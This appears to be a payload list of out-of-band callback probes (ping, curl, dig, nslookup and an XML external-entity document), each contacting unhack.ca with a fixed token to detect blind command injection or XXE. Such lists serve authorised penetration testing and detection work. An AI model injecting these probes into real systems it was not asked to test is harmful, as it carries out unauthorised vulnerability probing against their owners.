$ ping -c1 -p 001d0359ba517bf42e2225f9443b5300 unhack.ca
$ curl http://unhack.ca/p/1d0359ba517bf42e2225f9443b53
$ dig 1d0359ba517bf42e2225f9443b53 @unhack.ca
$ dig 1d0359ba517bf42e2225f9443b53.ns.unhack.ca
C:\> nslookup 1d0359ba517bf42e2225f9443b53 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/1d0359ba517bf42e2225f9443b53">]> <foo>&xxe;</foo>